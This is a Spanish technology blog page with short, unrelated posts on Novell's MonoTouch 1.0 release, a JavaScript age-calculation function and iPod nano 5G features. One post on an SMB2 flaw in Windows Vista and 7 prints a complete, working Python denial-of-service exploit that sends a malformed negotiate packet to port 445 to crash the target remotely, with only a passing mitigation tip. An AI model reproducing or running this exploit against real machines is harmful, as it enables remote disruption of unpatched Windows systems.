
Novell acaba de anunciar el lanzamiento de la versión 1.0 de MonoTouch como una solución que les permite a los desarrolladores .NET escribir aplicaciones para iPhone usando el trabajo del proyecto Mono y su conocido lenguaje C#.
MonoTouch, que estuvo disponible gratuitamente para todos programadores que se inscribieran en sus últimas pruebas Beta, está disponible ahora en las ediciones Personal (U$S 399), Enterprise (U$S 999) y Enterprise 5 Developer (U$S 3999). Sus requerimientos incluyen una Mac, el iPhone SDK y una subscripción al Apple iPhone Developer Program.
MonoTouch se convierte así en la primera rama propietaria del código Open Source liberado por el proyecto Mono, algo que no me ha gustado del todo, para el bien del Software Libre, debió de haber quedado como openSource.
Vía Monotouch.net
Vulnerabilidad encontrada en el procotolo SMB en windows vista y windows 7, con éste exploit el atacante puede congelar(crash) remotamente cualquiera de éstos 2 sistemas operativos.
Por el momento no la hay, simplemente cerrar puertos del SMB.
#!/usr/bin/python #When SMB2.0 recieve a "&" char in the "Process Id High" SMB header field #it dies with a PAGE_FAULT_IN_NONPAGED_AREA error from socket import socket host = "IP_ADDR", 445 buff = ( "\x00\x00\x00\x90" # Begin SMB header: Session message "\xff\x53\x4d\x42" # Server Component: SMB "\x72\x00\x00\x00" # Negociate Protocol "\x00\x18\x53\xc8" # Operation 0x18 & sub 0xc853 "\x00\x26"# Process ID High: --> =) normal value should be "\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe" "\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54" "\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31" "\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00" "\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57" "\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61" "\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c" "\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c" "\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e" "\x30\x30\x32\x00" ) s = socket() s.connect(host) s.send(buff) s.close()
Función de javascript para calcular la edad apartir de una fecha:
function(fecha) {
hoy = new Date()
var array_fecha = fecha.split("/")
var ano
ano = parseInt(array_fecha[2], 10);
if (isNaN(ano))
return false
var mes
mes = parseInt(array_fecha[1], 10);
if (isNaN(mes))
return false
var dia
dia = parseInt(array_fecha[0], 10);
if (isNaN(dia))
return false
edad = hoy.getFullYear() - ano - 1;
if (hoy.getMonth() + 1 - mes < 0) {
return edad;
}
if (hoy.getMonth() + 1 - mes > 0) {
edad = edad + 1
return edad;
}
if (hoy.getUTCDate() - dia >= 0) {
edad = edad + 1
return edad;
}
return edad;
}
Entre las características del iPod nano 5G, podemos encontrar una pantalla de 2.2 pulgadas con resolución 376×240 píxeles, autonomía de 24 horas en reproducción de audio y 5 horas para la reproducción de video.
Las funciones internas más destacadas en el iPod nano 5G, responden por ejemplo a Genius y Mezclas Genius, dos funciones que permiten usar el iPod nano 5G como si de una radio musical se tratase, ya que generan listas de reproducción automáticas en función del género o artista de las canciones que tengamos almacenadas en la memoria.
Otra de las funciones que incluye el iPod nano 5G, es Voice Over, un sistema que vimos en el iPod Shuffle y que permite escuchar el nombre del artista y titulo de la canción que está sonando sin necesidad de pulsar ninguna tecla del reproductor.
Otro de los servicios que ofrece el iPod nano 5G, es la integración de un podómetro para ser usado con la función Nike+, y que permite registrar los pasos que damos durante el día, la distancia recorrida, etc.
Video Tomado en la Apple Store de Tokyo:
Todos los derechos reservados. Tecnologia.